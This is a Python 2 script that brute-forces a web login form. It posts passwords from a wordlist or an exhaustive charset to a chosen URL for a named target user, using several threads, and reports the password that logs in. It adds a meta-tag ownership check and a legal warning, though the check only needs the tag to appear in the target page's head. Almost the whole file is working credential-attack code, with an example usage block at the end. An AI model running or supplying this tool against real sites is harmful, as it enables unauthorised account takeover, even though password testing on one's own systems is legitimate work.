#Note: you must verify that you are the owner 
#of the targetted site in order to use this tool.
#Using this tool on any other site is illegal.

import urllib2
import urllib
from cookielib import CookieJar
import time
import itertools
import threading
import math
import random
import string

def lineCount(filename): #for getting line count in file
    with open(filename) as fname:
        for x, y in enumerate(fname):
            pass
    return x + 1

verificationCode = ''.join(random.choice(string.ascii_lowercase+string.digits) for x in range(15))
verificationString = '<meta name="valhalla-brute-verification" content="'+verificationCode+'"/>'
print "Please include the following string within the head of the page you would like to brute force in order to verify that you are the owner of the site:"
print verificationString+"\n\n"

cj = CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))

REPORT_TIMEOUT=15 #report progress every 15 seconds

#######AttackMethod#######
bruteForceOrWordList = ''
bruteForce = False
characters = 0
while bruteForceOrWordList not in ['wordlist', 'bruteforce']:
    bruteForceOrWordList = raw_input("Use wordlist or bruteforce? (enter 'wordlist' or 'bruteforce') ")
if bruteForceOrWordList=='bruteforce':
    bruteForce=True
    charset = ''
    numchars = ''
    while charset=='':
        charset = raw_input("Which charset would you like?\n To help, here is an alpha you can copy/paste from: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\n")
    while not numchars.isdigit() or int(numchars)<=0:
        numchars = raw_input("How many characters is the password? ")
    numchars = int(numchars)
else:
    wordList = raw_input("Enter the location of the wordlist: ")
########GetPostingInformation######
link = raw_input("Enter the link to post the login data to: ")
targetUser=raw_input("Enter the username of the target user: ")
userField = raw_input("Enter the username field name: ")
passField = raw_input("Enter the password field name: ")
searchText = raw_input("Enter text to search for to indicate login was not successful: ")
########GetWordSetToUse########
if bruteForce:
    wordCount = len(charset)**numchars
    iterator = itertools.product(charset, repeat=numchars)
else:
    wordCount = lineCount(wordList)
    iterator = open(wordList, 'r')
    
count = 1.0
lastReportTime=0
found = False

#######Attack#######
def brute(ident):
    global found, count, lastReportTime
    for word in iterator:
        if found: break
        currentWord = "".join(word).strip()
        
        now=time.time()
        percent = (count/wordCount)*100
        if now-lastReportTime>REPORT_TIMEOUT:
            print "%.2f%% complete. " % (percent,) #can print ident here too for debugging
            lastReportTime = now
            
        values = urllib.urlencode({userField: targetUser,
            passField : currentWord
        })

        source = opener.open(link, values)

        if source.read().find(searchText)==-1 and not found:
            print "Logged in! The password was: "+currentWord
            found = True
            
        count+=1
        
class ThreadClass(threading.Thread):
    def run(self):
        brute(threading.currentThread().getName())

result = opener.open(link).read()
result = result[:result.find("</head>")]
if result.find(verificationString) != -1:
    t1 = ThreadClass()
    t1.start()
    t2 = ThreadClass()
    t2.start()
    brute(threading.currentThread().getName())
    if not found:
        print "Unable to find the password."
else:
    print "You have not verified that you are the owner of this site."
                

"""
Example usage:

Enter the location of the wordlist: C:\Users\Owner\Desktop\common-passwords.txt
Enter the link to post the login data to: https://website.com/index.php
Enter the username of the target user: userGuy
Enter the username field name: username
Enter the password field name: password
Enter text to search for to indicate login was not successful: <div>Password:</div>
"""